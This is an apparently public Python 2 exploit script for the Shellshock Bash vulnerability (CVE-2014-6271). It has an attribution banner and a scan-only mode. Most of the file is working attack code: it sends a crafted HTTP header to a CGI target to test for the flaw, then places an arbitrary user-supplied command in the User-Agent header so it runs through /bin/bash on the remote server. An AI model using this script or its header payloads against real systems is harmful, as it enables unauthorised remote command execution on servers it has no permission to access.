#!/usr/bin/env python
# http connection
import urllib2
# Args management
import optparse
# Error managemen
import sys
banner = """
_______ _______ __
| _ .-----.--.--. | _ .---.-.-----| |--.
|. |___| | | | |. 1 | _ |__ --| |
|. | |__|__|_____| |. _ |___._|_____|__|__|
|: 1 | |: 1 \
|::.. . | |::.. . /
`-------' `-------'
___ ___ _______ _______ _______ ___
| Y | | _ | | _ | _ | |
| | |_|___| | |. l |. 1___|. |
|____ |___(__ | |. _ |. |___|. |
|: | |: 1 | |: | |: 1 |: |
|::.| |::.. . | |::.|:. |::.. . |::.|
`---' `-------' `--- ---`-------`---'
Gnu B4sh <= 4.3 Cg1 Sc4n + r3m0t3 C0mm4nd Inj3ct10n
==========================================
- Release date: 2014-09-25
- Discovered by: Stephane Chazelas
- CVE: 2014-6271
===========================================
Written by:
Claudio Viviani
http://www.homelab.it
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""
# Check url
def checkurl(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
else:
return url
def connectionScan(url):
print '[+] Checking for vulnerability...'
try:
headers = {"VULN" : "() { :;}; echo 'H0m3l4b1t: YES'"}
response = urllib2.Request(url, None, headers)
content = urllib2.urlopen(response)
if 'H0m3l4b1t' in content.info():
print '[!] VULNERABLE: '+url
else:
print '[X] NOT Vulnerable'
except urllib2.HTTPError, e:
print e.info()
if e.code == 400:
print '[X] Page not found'
else:
print '[X] HTTP Error'
except urllib2.URLError:
print '[X] Connection Error'
def connectionInje(url,cmd):
try:
headers = { 'User-Agent' : '() { :;}; /bin/bash -c "'+cmd+'"' }
response = urllib2.Request(url, None, headers)
content = urllib2.urlopen(response).read()
print '[!] '+cmd+' command sent!'
except urllib2.HTTPError, e:
if e.code == 500:
print '[!] '+cmd+' command sent!!!'
else:
print '[!] command not sent :('
except urllib2.URLError:
print '[X] Connection Error'
commandList = optparse.OptionParser('usage: %prog [-s] -t http://localhost/cgi-bin/test -c "touch /tmp/test.txt"')
commandList.add_option('-t', '--target', action="store",
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
)
commandList.add_option('-c', '--cmd', action="store",
help="Insert command name",
)
commandList.add_option('-s', '--scan', default=False, action="store_true",
help="Scan Only",
)
options, remainder = commandList.parse_args()
# Check args
if not options.target:
print(banner)
commandList.print_help()
sys.exit(1)
elif options.target and not options.cmd and not options.scan:
print(banner)
commandList.print_help()
sys.exit(1)
print(banner)
url = checkurl(options.target)
cmd = options.cmd
if options.scan:
print '[+] Scan Only Mode'
connectionScan(url)
else:
print '[+] Remote Command Innection Mode'
connectionScan(url)
connectionInje(url,cmd)
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